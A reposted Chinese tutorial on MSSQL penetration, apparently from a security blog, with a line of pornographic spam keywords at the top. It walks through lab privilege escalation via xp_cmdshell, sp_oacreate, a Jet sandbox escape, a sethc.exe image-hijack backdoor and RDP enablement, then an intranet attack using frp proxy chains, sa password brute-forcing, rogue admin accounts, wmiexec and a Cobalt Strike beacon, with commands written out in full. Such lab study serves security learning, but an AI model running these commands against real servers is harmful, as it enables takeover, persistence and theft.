女人自慰AV免费观看内涵网,日韩国产剧情在线观看网址,神马电影网特片网,最新一级电影欧美,在线观看亚洲欧美日韩,黄色视频在线播放免费观看,ABO涨奶期羡澄,第一导航fulione,美女主播操b

0
  • 聊天消息
  • 系統消息
  • 評論與回復
登錄后你可以
  • 下載海量資料
  • 學習在線課程
  • 觀看技術視頻
  • 寫文章/發帖/加入社區
會員中心
創作中心

完善資料讓更多小伙伴認識你,還能領取20積分哦,立即完善>

3天內不再提示

數據庫安全之MSSQL滲透

jf_Fo0qk3ln ? 來源:菜鳥學信安 ? 2023-02-15 11:30 ? 次閱讀
加入交流群
微信小助手二維碼

掃碼添加小助手

加入工程師交流群

本篇文章是MSSQL數據庫漏洞提權復現記錄,記錄了實際中常見的MSSQL數據庫漏洞并如何利用,對漏洞底層的原理簡單分析,主要分為五個部分:MSSQL簡介、MSSQL各版本安裝、MSSQL基本操作、MSSQL漏洞復現提權和自建內網環境實戰。

本篇文章由淺入深地介紹了系統存儲過程控制不當導致提權如sp_oacreate和sp_oamethod、擴展存儲過程使用不當提權如xp_cmdshell和xp_regwrite、沙盒提權及映像劫持。在學習MSSQL過程中也閱讀了幾十篇中英文MSSQL相關技術文章,最終按照作者我的思路進行總結,相關參考文章也在文中有列出。此外,文中可能會出現部分錯誤,望讀者指出,謝謝。接著,開始我們的MSSQL數據庫滲透學習!!

一、MSSQL簡介

MSSQL(MicroSoft SQL Server數據庫),是微軟開發的關系型數據庫管理系統DBMS,是一個較大型的數據庫,提供數據庫的從服務器到終端的完整的解決方案,數據庫管理系統SSMS(SQL Server Managerment Studio),是一個用于建立、使用和維護數據庫的集成開發環境。端口號:1433

SA用戶

在搭建時,選擇使用SQL Server身份驗證會創建SA賬戶并設置密碼,SA(System Administrator)表示系統管理員,在SQLServer2019之前的SA用戶都是系統最高權限用戶SYSTEM,但在2019版本時為普通數據庫用戶mssqlserver,是一個低權用戶。

MSSQL權限級別

sa權限:數據庫操作,文件管理,命令執行,注冊表讀取等價于system,SQLServer數據庫的最高權限

db權限:文件管理,數據庫操作等價于 users-administrators

public權限:數據庫操作等價于 guest-users

存儲過程

MSSQL的存儲過程是一個可編程的函數,它在數據庫中創建并保存,是使用T_SQL編寫的代碼段,目的在于能夠方便的從系統表中查詢信息。數據庫中的存儲過程可以看做是對編程中面向對象方法的模擬。它允許控制數據的訪問方式,使用execute命令執行存儲過程。(可以將存儲過程理解為函數調用的過程)

簡單來說,存儲過程就是一條或者多條sql語句的集合,可視為批處理文件

存儲過程可分為三類:系統存儲過程:主要存儲在master數據庫中,以”sp_“為前綴,在任何數據庫中都可以調用,在調用的時候不必在存儲過程前加上數據庫名擴展存儲過程:是對動態鏈接庫(DLL)函數的調用,主要是用于客戶端與服務器端或客戶端之間進行通信的,以“xp**_“為前綴,使用方法與系統存儲過程類似用戶定義的存儲過程:**是SQLServer的使用者編寫的存儲過程

系統數據庫

系統數據庫默認創建時就會存在,有以下4種

2614199e-ac54-11ed-bfe3-dac502259ad0.jpg

數據庫名 含義
master master數據庫控制SQLserver數據庫所有方面。這個數據庫中包括了所有的配置信息、用戶登錄信息、當前正在服務器中運行的過程的信息等。
model model數據庫是建立所有用戶數據庫時的模版。新建數據庫時,SQLserver會把model數據庫中的所有對象建立一份拷貝并移到新數據庫中。在模版對象被拷貝到新的用戶數據庫中之后,該數據庫的所有多余空間都將被空頁填滿。
msdb msdb數據庫是SQLserver數據庫中的特例,若想查看此數據庫的實際定義,會發現它其實是一個用戶數據庫。所有的任務調度、報警、操作員都存儲在msdb數據庫中。該庫的另一個功能是用來存儲所有備份歷史。SQLserver agent將會使用這個庫。
tempdb 據庫是一個非常特殊的數據庫,供所有來訪問你的SQL Server的用戶使用。這個庫用來保存所有的臨時表、存儲過程和其他SQL Server建立的臨時用的東西。例如,排序時要用到tempdb數據庫。數據被放進tempdb數據庫,排完序后再把結果返回給用戶。每次SQL Server重新啟動,它都會清空tempdb數據庫并重建。永遠不要在tempdb數據庫建立需要永久保存的表。

MSSQL注入

MSSQL注入與普通的MYSQL注入類似,但在數據結構特定函數名稱上有些差異。而使用經過語法擴展的T-SQL語句,在實現更為復雜的業務的同時,也帶來了安全上的危險。因此MSSQL在后續提權部分,與MYSQL有著較大的差異。由于該數據庫與Windows平臺的高契合度,使其可以使用Windows身份驗證(或SA管理員賬號),這就導致其運行權限較高。因此,若后續權限沒有限制準確,WEB代碼又存在SQL注入時,就會給整個服務器的安全帶來嚴重威脅,其后果一般比Mysql被攻破要嚴重。

二、軟件安裝及環境搭建

1、MSSQL 2019安裝

Win2016 + MSSQL2019

下載地址:https://www.microsoft.com/zh-cn/sql-server/sql-server-downloads

選擇SQL Server 2019 Express Edition版本

安裝過程百度即可,這里記錄其中較關鍵的地方:

安裝類型選擇-基本(B)
實例配置選擇-默認實例
服務器配置選擇-混合模式(SQL Server身份驗證和Windows 身份驗證)(M)
配置SQL Server系統管理員SA的密碼(我設置密碼為123.com

安裝SQL Server Managerment Studio|SSMS

安裝完SQL Server Express版本后,可以直接選擇安裝SSMS

2633dc34-ac54-11ed-bfe3-dac502259ad0.jpg

在點擊"安裝SSMS"彈出網頁內選擇下載SSMS
點擊該程序,默認安裝即可

2、MSSQL 2008 x64 安裝

Win2016 + MSSQL2008

下載地址:

https://www.microsoft.com/zh-CN/download/details.aspx?id=30438

下載如圖兩個文件

265a446e-ac54-11ed-bfe3-dac502259ad0.jpg

先安裝SQLEXPR_x64_CHS.exe

基本安裝過程類似2019的,記錄下重要部分

選擇-全新安裝
實例配置選擇-默認實例
服務器配置選擇-混合模式(SQL Server身份驗證和Windows 身份驗證)(M)
配置SQL Server系統管理員SA的密碼(我設置密碼為123.com

再安裝SQLManagementStudio_x64_CHS.exe

提示沒有安裝.NET3.5,按下文步驟即可

https://www.cnblogs.com/labster/p/14863516.html

之后選擇全新安裝,默認下一步即可

3、MSSQL 2008 x32 安裝

Win2003 + MSSQL2008

下載地址:

https://www.microsoft.com/zh-CN/download/details.aspx?id=30438

這里的32位系統環境用于復現第四部分的沙盒漏洞提權,相較于前兩個數據庫的安裝,這里遇到了不少坑,較詳細介紹下。使用Win2003 x32系統作為復現操作系統,由于年代久遠加上03系統裝08軟件,記錄下幾個坑點。

1)啟動SQLEXPR_x86_CHS.exe提示缺失程序

26889d64-ac54-11ed-bfe3-dac502259ad0.jpg

2)安裝.NET 3.5

慢慢等待5分鐘

26af8eba-ac54-11ed-bfe3-dac502259ad0.jpg

3)安裝Windows_Installer4.5x86.exe

默認下一步

26db5ba8-ac54-11ed-bfe3-dac502259ad0.jpg

4)安裝powershell2003x86-CHS.exe

270da19e-ac54-11ed-bfe3-dac502259ad0.jpg

其余安裝過程類似,就不詳細介紹了,附上安裝工具包:

https://pan.baidu.com/s/15CngCBWign9fY1IrSt4_jg
密碼:fm4v

三、MSSQL基本操作

1、SSMS連接數據庫

連接本地數據庫,在之前的設置中,我們設置了混雜模式,即可以使用SQL Server 身份驗證或 Windows 身份驗證登陸進數據庫,點擊啟動SSMS

服務器名稱可以填寫主機名或本地ip地址 登錄名和密碼為sa:123.com

2722f3b4-ac54-11ed-bfe3-dac502259ad0.jpg

注意點:可以一開始會出現使用主機名可以登入上,但是使用ip登入不上的情況可以參考如下文章解決

https://blog.csdn.net/weixin_30740295/article/details/95535927

MSSQL設置允許通過ip登陸

(以2019版本為例,其余版本類似)

1)打開配置管理器

2748e268-ac54-11ed-bfe3-dac502259ad0.jpg

2)協議TCP/IP設置為開啟

SQL Server 網絡配置下的MSSQLSERVER的協議里啟用TCP/IP協議

27726656-ac54-11ed-bfe3-dac502259ad0.jpg

3)開啟遠程登陸

先用主機名進行登陸

右鍵,打開數據庫的屬性

2795e162-ac54-11ed-bfe3-dac502259ad0.jpg

連接處勾選允許遠程連接到此服務器

27b91f38-ac54-11ed-bfe3-dac502259ad0.jpg

4)關閉防火墻

這里用于滲透測試,直接全部關了

27e96724-ac54-11ed-bfe3-dac502259ad0.jpg

5)重啟SSMS服務

打開管理員模式下的CMD

net stop mssqlserver
net start mssqlserver

之后就可以使用IP進行登陸

2814667c-ac54-11ed-bfe3-dac502259ad0.jpg

2、常見語句

右鍵系統數據庫,新建查詢

284359c8-ac54-11ed-bfe3-dac502259ad0.jpg

查看數據庫版本

select @@VERSION

獲取MSSQL中的所有數據庫名


	
SELECT name FROM MASter..SysDatabASes ORDER BY name

查詢所有數據庫中的表名

SELECT SysObjects.name AS Tablename FROM sysobjects WHERE xtype = 'U' and sysstat<200

其余見MSSQL基礎學習部分,自行百度

exec xp_dirtree 'c:'        # 列出所有c:文件、目錄、子目錄
exec xp_dirtree 'c:',1      # 只列c:目錄
exec xp_dirtree 'c:',1,1    # 列c:目錄、文件
exec xp_subdirs 'C:';       # 只列c:目錄
select is_srvrolemember('sysadmin') # 判斷是否是SA權限
select is_member('db_owner')        # 判斷是否是db_owner權限
select is_srvrolemember('public')   # 判斷是否是public權限
EXEC sp_configure 'Ole Automation Procedures'   #查看OLE Automation Procedures的當前設置

四、MSSQL漏洞復現

1、使用xp_cmdshell進行提權

xp_cmdshell默認在mssql2000中是開啟的,在mssql2005之后默認禁止,但未刪除

0x01 xp_cmdshell簡介

xp``_cmdshellSql Server中的一個組件,將命令字符串作為操作系統命令 shell 執行,并以文本行的形式返回所有輸出。通常在拿到sa口令之后,可以通過xp``_cmdshell來進行提權

影響范圍:

只要該數據庫存在該組件,就可以利用

0x02 xp_cmdshell使用

1)查看xp_cmdshell狀態

select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'

返回1表示xp``_cmdshell組件啟用

也可以手動查看,右鍵數據庫,打開Facets

286cd8b6-ac54-11ed-bfe3-dac502259ad0.jpg

在方面中選擇外應用配置器,在方面屬性中查看XP``CmdShellEnabled屬性為True

288639a0-ac54-11ed-bfe3-dac502259ad0.jpg

2)開啟xp_cmdshell組件

EXEC sp_configure 'show advanced options', 1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE

28cd7892-ac54-11ed-bfe3-dac502259ad0.jpg

同樣,關閉該組件的命令為

EXEC sp_configure 'show advanced options', 1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',0
RECONFIGURE

3)利用xp_cmdshell執行命令

執行系統命令

以下幾條命令格式都可以用于執行系統命令

exec xp_cmdshell "whoami"
master..xp_cmdshell 'whoami'    (2008版上好像用不了)
EXEC master..xp_cmdshell "whoami"
EXEC master.dbo.xp_cmdshell "ipconfig"

28ec217a-ac54-11ed-bfe3-dac502259ad0.jpg

注意點:在MSSQL2019版本中,會使用mssqlserver用戶而非system用戶

0x03 模擬實戰:遠程命令執行創建用戶

這里通過演示遠程命令執行來模擬實戰情況,遠程MSSQL數據庫版本為2008版 環境信息:

遠程MSSQL數據庫的IP:192.168.112.166

假設已經爆破得到了sa密碼

創建用戶聯合wmiexec拿到shell
exec master..xp_cmdshell "net user test12 123.com /add"
exec master..xp_cmdshell "net localgroup administrators test12 /add"
exec master..xp_cmdshell "net user test12"

290ed378-ac54-11ed-bfe3-dac502259ad0.jpg

可以看到用戶添加成功

29302a32-ac54-11ed-bfe3-dac502259ad0.jpg

后續可以登陸用戶上傳木馬,上線CS,詳情見本文第五部分:二級內網MSSQL滲透|上線CS

0x04 保護措施

將該xp_cmdshell存儲過程刪除即可

exec sp_dropextendedproc 'xp_cmdshell'

被刪除后,重新添加xp``_cmdshell存儲過程語句

EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int;
sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll';

若想徹底刪除xp_cmdshell擴展存儲過程,建議在C盤里直接搜索xplog70.dll,然后刪除xp_cmdshell

2、使用sp_oacreate進行提權|無回顯

0x01 sp_oacreate簡介

調用wscript.shel執行命令

sp_oacreate系統存儲過程可以用于對文件刪除、復制、移動等操作,還可以配合sp_oamethod系統存儲過程調用系統wscript.shell來執行系統命令。sp_oacreatesp_oamethod兩個過程分別用來創建和執行腳本語言。

系統管理員使用sp_configure啟用sp_oacreatesp_oamethod系統存儲過程對OLE自動化過程的訪問(OLE Automation Procedures)

在效果方面,sp_oacreate、sp_oamethod兩個過程和xp_cmdshell過程功能類似,因此可以替換使用!

利用條件:

1.已獲取到sqlserver sysadmin權限用戶的賬號與密碼且未降權(如2019版本sa用戶權限為mssqlserver,已降權)

2.sqlserver允許遠程連接

3.OLE Automation Procedures選項開啟

0x02 sp_oacreate使用

1)查看sp_oacreate狀態

select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE';

返回1表示存在sp_oacreate系統存儲過程

2)啟用OLE Automation Procedures選項

當啟用 OLE Automation Procedures 時,對 sp_OACreate 的調用將會啟動 OLE 共享執行環境。

exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'Ole Automation Procedures',1;
reconfigure;

294d599a-ac54-11ed-bfe3-dac502259ad0.jpg

類似的,關閉組件命令

exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'Ole Automation Procedures',0;
reconfigure;

3)利用sp_oacreate和sp_oamethod執行命令

寫入文件

declare @shell int exec sp_oacreate 'wscript.shell',@shell output 
exec sp_oamethod @shell,'run',null,'c:windowssystem32cmd.exe /c whoami >c:\sqltest.txt';
回顯0表示成功

297306ae-ac54-11ed-bfe3-dac502259ad0.jpg

由于這里是無回顯的命令執行,到另一臺主機上查看效果,成功寫入。

29a3f0c0-ac54-11ed-bfe3-dac502259ad0.jpg

刪除文件

declare @result int
declare @fso_token int
exec sp_oacreate 'scripting.filesystemobject', @fso_token out
exec sp_oamethod @fso_token,'deletefile',null,'c:sqltest.txt'
exec sp_oadestroy @fso_token

29c5547c-ac54-11ed-bfe3-dac502259ad0.jpg

可以看到文件已刪除

29e91d76-ac54-11ed-bfe3-dac502259ad0.jpg

同樣,也可以使用4.1中的創建用戶進行登陸拿shell。

3、利用SQL Server 沙盒提權

0x01 SQL Server 沙盒簡介

沙盒模式是一種安全功能,用于限制數據庫只對控件和字段屬性中的安全且不含惡意代碼的表達式求值。如果表達式不使用可能以某種方式損壞數據的函數或屬性(如Kill 和 Shell 之類的函數),則可認為它是安全的。當數據庫以沙盒模式運行時,調用這些函數的表達式將會產生錯誤消息。

沙盒提權的原理就是jet.oledb(修改注冊表)執行系統命令。數據庫通過查詢方式調用mdb文件,執行參數,繞過系統本身自己的執行命令,實現mdb文件執行命令。

利用前提:

1.需要Microsoft.Jet.OLEDB.4.0一般在32位系統才可以,64位機需要12.0,較復雜

2.dnary.mdbias.mdb兩個文件 在win2003上默認存在,也可自行準備

0x02 沙盒提權

復現環境

SQL Server2008 (Win2003-x32)
IP: 192.168.112.173

1)測試 jet.oledb 能否使用

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:windowssystem32iasias.mdb','select shell("cmd.exe /c whoami")')

2a12e066-ac54-11ed-bfe3-dac502259ad0.jpg

2)開啟Ad Hoc Distributed Queries組件

exec sp_configure 'show advanced options',1 ;
reconfigure ;
exec sp_configure 'Ad Hoc Distributed Queries',1 ;
reconfigure;

2a359c3c-ac54-11ed-bfe3-dac502259ad0.jpg

類似的,關閉組件命令

exec sp_configure 'show advanced options',1 ;
reconfigure ;
exec sp_configure 'Ad Hoc Distributed Queries',0 ;
reconfigure;

3)關閉沙盒模式

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',0;


沙盒模式`SandBoxMode`參數含義(默認是2
0:在任何所有者中禁止啟用安全模式
1:為僅在允許范圍內
2:必須在access模式下
3:完全開啟

2a5833a0-ac54-11ed-bfe3-dac502259ad0.jpg

查看命令:

exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines', 'SandBoxMode'

關閉命令:

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',2

4)執行命令

Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:windowssystem32iasias.mdb','select shell("cmd.exe /c whoami >c:\sqltest.txt ")');

在win2003的c盤上看到已經創建了該文件,命令執行成功

2a769a66-ac54-11ed-bfe3-dac502259ad0.jpg

同樣,可以創建用戶

Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:windowssystem32iasias.mdb','select shell("net user testq QWEasd123 /add")');


Select * From OpenRowSet('microsoft.jet.oledb.4.0',';Database=c:windowssystem32iasias.mdb','select shell("net localgroup administrators testq /add")');


Select * From OpenRowSet('microsoft.jet.oledb.4.0',';Database=c:windowssystem32iasias.mdb','select shell("net user testq")');

4、使用xp_regwrite提權 | 映像劫持提權

2008以上,05未測試

0x01 簡介

通過使用xp_regwrite存儲過程對注冊表進行修改,替換成任意值,造成鏡像劫持。

前提條件:

1.未禁止注冊表編輯(即寫入功能)

2.xp_regwrite啟用

0x02 映像劫持提權

1)查看xp_regwrite是否啟用

select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_regwrite'

2)xp_regwrite開啟與關閉

EXEC sp_configure 'show advanced options', 1
RECONFIGURE
EXEC sp_configure 'xp_regwrite',1
RECONFIGURE

2)利用regwrite函數修改組注冊表進行劫持

EXEC master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:windowssystem32cmd.exe'

2a9ef196-ac54-11ed-bfe3-dac502259ad0.jpg

2)查看是否修改成功文件

exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.exe','Debugger'

2abadcda-ac54-11ed-bfe3-dac502259ad0.jpg

顯示已修改為cmd.exe

在目標主機上查看,結果一致

2ad3ebee-ac54-11ed-bfe3-dac502259ad0.jpg

3)驗證是否成功

連按5次粘滯鍵,彈出cmd框

2afbb1ec-ac54-11ed-bfe3-dac502259ad0.jpg

拓展:

上面對只是對粘滯鍵進行修改,類似的,可以在注冊表中進行其他操作

刪除指定注冊表鍵值對

刪除粘滯鍵的鍵值

xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.exe'

2b97d8ba-ac54-11ed-bfe3-dac502259ad0.jpg

到目標主機上查看,發現sethc.exe在注冊表中的值已刪除

2bb69890-ac54-11ed-bfe3-dac502259ad0.jpg

開啟3389端口這里的xp``_regwrite為向注冊表中寫數據

execmaster.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEMCurrentControlSetControlTerminalServer','fDenyTSConnections','REG_DWORD',0;
exec master..xp_cmdshell "REG ADD 'HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server' /v fDenyTSConnections /t REG_DWORD /d 0"

2bdab39c-ac54-11ed-bfe3-dac502259ad0.jpg

在注冊表中也可以看到3389端口被打開

2bfba232-ac54-11ed-bfe3-dac502259ad0.jpg

0x03 參考

https://sqlandme.com/tag/xp_regwrite/

IFEO映像劫持在實戰中的使用 - 知乎 (zhihu.com)

5、使用sp_makewebtask寫文件

2005

一般可以用于web網站,寫入后門文件

1)查看該組件

EXEC sp_configure 'Web Assistant Procedures'

2)開啟該組件

exec sp_configure 'Web Assistant Procedures', 1; RECONFIGURE

報錯,在SQLServer2005后好像都沒有這個組件了

6、拓展&小結

常見的存儲過程:

xp_cmdshell         執行系統命令
xp_fileexist        確定一個文件是否存在。
xp_getfiledetails   獲得文件詳細資料。
xp_dirtree          展開你需要了解的目錄,獲得所有目錄深度。
Xp_getnetname       獲得服務器名稱。


注冊表訪問的存儲過程
Xp_regwrite
Xp_regread
Xp_regdeletekey
Xp_regaddmultistring
Xp_regdeletevalue
Xp_regenumvalues
Xp_regremovemultistring


OLE自動存儲過程
Sp_OACreate Sp_OADestroy Sp_OAGetErrorInfo Sp_OAGetProperty
Sp_OAMethod Sp_OASetProperty Sp_OAStop

五、二級內網MSSQL滲透|上線CS

這里模擬搭建二級內網環境,順便復習下二級frp代理的搭建和內網穿透上線CS。環境配置信息如下

公網服務器
121.xx.xx.xx
Web服務器(目標站點)
192.168.73.137(對外)
10.10.10.101(對內)
域控
10.10.10.10
10.12.10.5
MSSQL服務器
10.12.10.3

這里假設已經獲取到了Web服務器和域控的權限

1、搭建二級代理

1)在域控上傳frpc.exefrpc.ini文件

#frpc.ini
[common]
server_addr = 10.10.10.101
server_port = 12010     # 連接端口
[http_proxy]
type = tcp
remote_port = 1084      # 代理端口
plugin = socks5

2)在Web服務器上傳frpc.exe、frpc.ini、frps.exe、frps.ini文件


	
# frps.ini
[common]
bind_addr = 10.10.10.101
bind_port = 12010 


# frpc.ini
[common]
server_addr = 121.xx.xx.xx
server_port = 12010
[http_proxy]
type = tcp
local_ip = 10.10.10.101
local_port = 1084
remote_port = 1084

3)在公網服務器上傳frps.exefrps.ini

#frps.ini
[common]
bind_addr = 0.0.0.0
bind_port = 12010

4)依次連接(由內到外)

web服務器
frps.exe -c frps.ini
域控
frpc.exe -c frpc.ini


公網服務器
frps.exe -c frps.ini
web服務器
frpc.exe -c frpc.ini

2、爆破sa密碼

使用fscan掃描,順便進行弱口令爆破,成功爆破出sa密碼

2c190688-ac54-11ed-bfe3-dac502259ad0.jpg

也可以使用msf模塊爆破

3、設置代理|遠程登陸MSSQL

使用Proxifier設置代理,添加代理服務器信息

2c3e84da-ac54-11ed-bfe3-dac502259ad0.jpg

連接MSSQL數據庫

2c63f436-ac54-11ed-bfe3-dac502259ad0.jpg

成功連接!!

2c82d7ac-ac54-11ed-bfe3-dac502259ad0.jpg

4、使用xp_cmdshell創建用戶

這里也可以使用其他方法命令執行

1)查看開啟xp_cmdshell組件

EXEC sp_configure 'show advanced options', 1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE

2ca21dc4-ac54-11ed-bfe3-dac502259ad0.jpg

2)查看當前權限

exec master..xp_cmdshell "whoami"

2ccdf05c-ac54-11ed-bfe3-dac502259ad0.jpg

system權限,可以創建用戶

3)創建用戶并添加至管理員組

創建sqltest用戶,密碼為123.com

exec master..xp_cmdshell "net user test12 123.com /add"
exec master..xp_cmdshell "net localgroup administrators test12 /add"
exec master..xp_cmdshell "net user test12"

2cf2a424-ac54-11ed-bfe3-dac502259ad0.jpg

4)CS生成后門文件(中轉監聽器)

在域控上建立中轉監聽器

2d1444d0-ac54-11ed-bfe3-dac502259ad0.jpg

2d2e745e-ac54-11ed-bfe3-dac502259ad0.jpg

將生成好后的文件拷貝到kali上

5)使用wmiexec工具遠程登陸

proxychains python3 wmiexec.py tset12:123.com@10.12.10.3

上傳木馬文件

2d5503c6-ac54-11ed-bfe3-dac502259ad0.jpg

6)成功上線CS

2d7636ae-ac54-11ed-bfe3-dac502259ad0.jpg

六、總結

本文介紹了幾種提權拿shell的方法,主要是利用到了系統存儲過程和擴展存儲過程。最常見的xp_cmdshell可以用于執行系統命令,xp_regwrite、xp_regread用于注冊表的讀寫進行映像劫持,sp_oacreate、sp_oamethod基于OLE Automation Procedures執行系統命令,不過無回顯,基于沙盒的提權限制條件比較多且復雜,一般很少使用。


審核編輯 :李倩


聲明:本文內容及配圖由入駐作者撰寫或者入駐合作網站授權轉載。文章觀點僅代表作者本人,不代表電子發燒友網立場。文章及其配圖僅供工程師學習之用,如有內容侵權或者其他違規問題,請聯系本站處理。 舉報投訴
  • 數據庫
    +關注

    關注

    7

    文章

    3919

    瀏覽量

    66124
  • 函數
    +關注

    關注

    3

    文章

    4379

    瀏覽量

    64726
  • Shell
    +關注

    關注

    1

    文章

    372

    瀏覽量

    24172

原文標題:數據庫安全之MSSQL滲透

文章出處:【微信號:菜鳥學信安,微信公眾號:菜鳥學信安】歡迎添加關注!文章轉載請注明出處。

收藏 人收藏
加入交流群
微信小助手二維碼

掃碼添加小助手

加入工程師交流群

    評論

    相關推薦
    熱點推薦

    用Delphi做中BDE連接SQL數據庫(學習Delphi環境中數據庫操作的方法和數據庫應用程序

    ,包含ODBC驅動程序、MSSQL驅動程序、ORACLE驅動程序、SYSBASE驅動程序等數據庫驅動程序。Aliases:這是IDAPI.CFG中最重要的設置內容,它負責記錄數據庫文件別名的關系,如此
    發表于 05-10 11:09

    安全數據庫如何管理

    據我所知,關于BlueNrg-MS設備上綁定的編程手冊部分,加密密鑰存儲在安全數據庫中,以便解析地址并加密未來的數據連接。這一切似乎都按預期工作,但我不清楚如何管理安全數據庫隨著時間的推移,當許多
    發表于 03-04 16:41

    數據庫安全性概述

    本文主講 數據庫安全性,歡迎閱讀~????目錄一、數據庫安全性概述二、數據庫安全性控制1. 用
    發表于 07-30 06:42

    數據庫管理系統層次安全技術

    數據庫管理系統層次安全技術 數據庫系統的安全性很大程度上依賴于數據庫管理系統。如果數據庫管理系
    發表于 06-17 07:45 ?768次閱讀

    數據庫有什么安全需求?需要什么安全技術?

    數據庫安全就是指保護數據庫以防止非法使用所造成的信息泄露、更改或破壞。數據庫已經在社會上和人們日常生活中占據了十分重要的地位。該文首先簡要介紹了數據
    發表于 09-05 16:58 ?11次下載

    數據庫學習入門資料如何進行數據庫設計

    本文檔的主要內容詳細介紹的是數據庫學習入門資料如何進行數據庫設計主要內容包括了:數據庫系統設計的1 概述2 需求分析3 概念設計4 邏輯設計5 物理設計6 實現設計7運行與維護
    發表于 10-25 16:29 ?14次下載
    <b class='flag-5'>數據庫</b>學習入門資料<b class='flag-5'>之</b>如何進行<b class='flag-5'>數據庫</b>設計

    什么是數據庫安全數據庫安全性的詳細資料總結

    本文檔的主要內容詳細介紹的是什么是數據庫安全數據庫安全性的詳細資料總結主要內容包括了:1.數據庫安全
    發表于 10-30 16:11 ?6次下載
    什么是<b class='flag-5'>數據庫</b><b class='flag-5'>安全</b>性<b class='flag-5'>數據庫</b><b class='flag-5'>安全</b>性的詳細資料總結

    數據庫系統概論數據庫管理系統詳細資料概述

    本文檔的主要內容詳細介紹的是數據庫系統概論數據庫管理系統詳細資料概述主要內容包括了:1、DBMS的基本功能2、 DBMS的進程結構和多線索機制3、DBMS系統結構4、語言處理5、數據
    發表于 11-15 15:12 ?0次下載
    <b class='flag-5'>數據庫</b>系統概論<b class='flag-5'>之</b><b class='flag-5'>數據庫</b>管理系統詳細資料概述

    數據庫系統概論如何進行數據庫編程的資料概述

    本文檔的主要內容詳細介紹的是數據庫系統概論如何進行數據庫編程的資料概述主要內容包括了:1、嵌入式SQL 2、存儲過程3、ODBC編程
    發表于 11-15 15:12 ?13次下載
    <b class='flag-5'>數據庫</b>系統概論<b class='flag-5'>之</b>如何進行<b class='flag-5'>數據庫</b>編程的資料概述

    關于數據庫安全技術的概述

    數據庫安全,是指以保護數據庫系統、數據庫服務器和數據庫中的數據、應用、存儲,以及相關網絡連接為目
    發表于 06-24 17:23 ?1948次閱讀

    MSSQL數據庫服務器的命令查看存儲過程詳細資料說明

    本文檔的主要內容詳細介紹的是MSSQL數據庫服務器的命令查看存儲過程詳細資料說明。
    發表于 11-01 17:29 ?10次下載

    上位機開發——數據庫系列問題

    前言 前面已經給大家總結了一些關于數據庫的問題,基本上大家遇到的數據庫問題,都能從下面的文章中找到答案,希望大家可以收藏一下,遇到問題,可以一一對照去查找原因。 數據庫系列特定實例錯
    發表于 05-10 10:34 ?0次下載
    上位機開發——<b class='flag-5'>數據庫</b>系列問題

    數據庫和普通數據庫區別?|PetaExpress云端數據庫

    和持久性有四個特點。 云數據庫和普通數據庫相比都具備哪些優勢? 1)安全穩定 云端數據庫服務,能夠幫助用戶將危險的操作收縮起來,避免數據庫
    的頭像 發表于 08-01 17:13 ?1388次閱讀

    數據庫數據恢復—MSSQL Server報錯“附加數據庫錯誤823”的數據恢復案例

    MSSQL Server數據庫比較常見的報錯是“附加數據庫錯誤823”。如果數據庫有備份,只需要還原備份即可;如果無備份或者備份不可用,則需要使用專業的
    的頭像 發表于 11-10 16:20 ?1264次閱讀
    <b class='flag-5'>數據庫</b><b class='flag-5'>數據</b>恢復—<b class='flag-5'>MSSQL</b> Server報錯“附加<b class='flag-5'>數據庫</b>錯誤823”的<b class='flag-5'>數據</b>恢復案例

    數據庫安全審計系統:筑牢數據安全防線 提高數據資產安全

    隨著萬物互聯的技術演進,以及數字化轉型的快速發展,數據庫成為最具有戰略性的數字資產載體,保障數據庫安全也就保障了存儲其中的數據安全
    的頭像 發表于 07-17 13:38 ?1915次閱讀